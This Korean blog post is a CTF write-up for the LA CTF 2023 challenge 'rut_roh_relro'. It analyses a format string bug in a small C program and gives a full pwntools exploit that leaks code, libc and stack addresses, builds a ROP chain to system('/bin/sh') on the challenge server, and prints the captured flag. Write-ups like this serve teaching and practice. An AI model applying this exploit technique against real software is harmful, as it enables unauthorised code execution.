728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
int main(void) {
setbuf(stdout, NULL);
puts("What would you like to post?");
char buf[512];
fgets(buf, 512, stdin);
printf("Here's your latest post:\n");
printf(buf);
printf("\nWhat would you like to post?\n");
fgets(buf, 512, stdin);
printf(buf);
printf("\nYour free trial has expired. Bye!\n");
return 0;
}
2.2. 분석
앞선 문제와 유사하지만, 이번에는 두번 입력받고 두번 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
마찬가지로 format string bug가 발생한다.
3.2. 공격 준비
앞선 문제와 차이점이라면, PIE와 relro 보호기법의 추가이다.
이로 인해 got overwrite는 불가능해졌다.
하지만, 여전히 format string bug로 AAW가 가능하며 이를 통해 rop chainning이 가능하다.
더불어 main 함수로 돌아갈때마다 rbp가 8씩 증가하는 것을 고려하여
최초 바이너리 실행 시 main ret address 기준으로
main ret + 16에 pop rdi ; ret gadget
main ret + 24에 /bin/sh string address
main ret + 32에 system 함수 주소
를 넣어두고 시나리오를 아래와 같이 짰다.
1st stage
leak
return to main
2nd stage (2nd stage ret = 1st stage main ret + 8)
1st stage main ret + 16에 pop rdi ; ret gadget 삽입
return to main
3rd stage (3rd stage ret = 1st stage main ret + 16 = pop rdi; ret gadget 위치)
1st stage main ret + 24에 /bin/sh string address 삽입
1st stage main ret + 32에 system 함수 주소 삽입
4. exploit
from pwn import *
#p = process('./rut_roh_relro')
p = remote('lac.tf', 31134)
libc = ELF('./libc-2.31.so',checksec=False)
#leak part start
pay = b'%70$p%71$p%72$p'
p.sendlineafter(b'post?\n',pay)
p.recvuntil(b'post:\n')
code_leak = int(p.recv(14),16)
libc_leak = int(p.recv(14),16)
stack_leak = int(p.recv(14),16)
print('code leak = ',hex(code_leak))
print('libc leak = ',hex(libc_leak))
print('stack leak = ',hex(stack_leak))
main = code_leak - 0xbb
print('main func addr = ',hex(main))
printf = main + 0x2e63
print('printf got addr = ',hex(printf))
libc_base = libc_leak - 0x023d0a
system = libc_base + libc.sym['system']
print('system addr = ',hex(system))
ret_addr = stack_leak - 240
print('ret addr = ',hex(ret_addr))
#leak part end
#ret to main
context.bits = 64
writes = {ret_addr:main}
pay = fmtstr_payload(6,writes)
p.sendlineafter(b'post?\n',pay)
#write pop rdi ; ret gadget to ret addr + 16
rdi = main + 0x116
writes = {ret_addr+16:rdi}
pay = fmtstr_payload(6,writes)
p.sendlineafter(b'post?\n',pay)
#ret to main
writes = {ret_addr+8:main}
pay = fmtstr_payload(6,writes)
p.sendlineafter(b'post?\n',pay)
#write /bin/sh string address to ret addr + 24
binsh = libc_base + 0x196152
writes = {ret_addr+24:binsh}
pay = fmtstr_payload(6,writes)
p.sendlineafter(b'post?\n',pay)
#write system address to ret addr + 32
writes = {ret_addr+32:system}
pay = fmtstr_payload(6,writes)
p.sendlineafter(b'post?\n',pay)
p.interactive()
┌[wyv3rn🐲]-(/mnt/c/hacking/rut)
└> python solve.py
[+] Opening connection to lac.tf on port 31134: Done
code leak = 0x5636cc3ef220
libc leak = 0x7fd534058d0a
stack leak = 0x7ffca0c27d58
main func addr = 0x5636cc3ef165
printf got addr = 0x5636cc3f1fc8
system addr = 0x7fd53407ae50
ret addr = 0x7ffca0c27c68
[*] Switching to interactive mode
\xa1
\x00
p
\x00aaabaa\x88| \xfc
Your free trial has expired. Bye!
$ id
uid=1000 gid=1000 groups=1000
$ cat flag.txt
lactf{maybe_ill_add_asan_for_good_measure}
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
LA CTF 2023 - crypto / rolling in the mud (0) | 2023.02.13 |
---|---|
LA CTF 2023 - crypto / one-more-time-pad (0) | 2023.02.13 |
LA CTF 2023 - pwn / rickroll (0) | 2023.02.13 |
LA CTF 2023 - pwn/bot (0) | 2023.02.13 |
LA CTF 2023 - pwn/gatekeep (0) | 2023.02.13 |